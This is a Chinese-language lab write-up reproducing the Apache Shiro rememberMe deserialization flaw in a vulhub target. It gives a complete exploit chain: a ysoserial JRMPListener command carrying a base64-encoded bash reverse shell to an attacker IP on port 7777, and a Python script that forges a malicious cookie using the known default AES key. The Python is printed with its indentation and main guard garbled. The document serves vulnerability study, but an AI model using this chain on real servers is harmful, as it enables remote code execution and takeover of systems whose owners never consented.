shiro简单介绍
界面
漏洞产生原因:
apache shiro提供了登录信息保存的功能,服务器在验证用户身份的过程中有反序列化操作,这是导致漏洞的主要原因
在第一次登录的时候就给用户一个cookie值
漏洞利用的难点
登录过程
验证过程
复现:
拿vulhub启动靶场环境,访问网页
随便输入账号密码进行抓包,可以看到有rememberme=remember-me,为shiro的特征
下面先用工具复现一遍
填好目标地址,然后爆破密钥,用已知的密钥库爆破,然后检测当前的利用链,再爆破利用链,利用链可以进行选择,一个不行就换下一个
然后再手动复现一遍:下面是大概的利用方式
准备工具:
1、编写反弹shell命令,使用工具
2、启动JRMPListener
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 8888 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjEzMC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}"
再用python脚本生成cookie值
这里注意要把shiro.py和ysoserial-0.0.6-SNAPSHOT-all.jar放到一个目录下面运行
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
打开JRMP客户端,连接到特定端口
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
用获取到的key AES加密
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
生成随机16位长度的IV
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64编码
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if name == 'main':
payload = encode_rememberme(sys.argv[1])
print("rememberMe={0}".format(payload.decode()))
这里我kali缺少库,就拿windows生成了
3、发送payload,在cookie处添加上面生成的remeberMe字段
这时就会让服务器访问我们建立好的JRMP的服务,然后让服务器反弹连接到攻击机的7777端口
监听7777端口之后再发送payload,过一段时间后可以看到成功拿到shell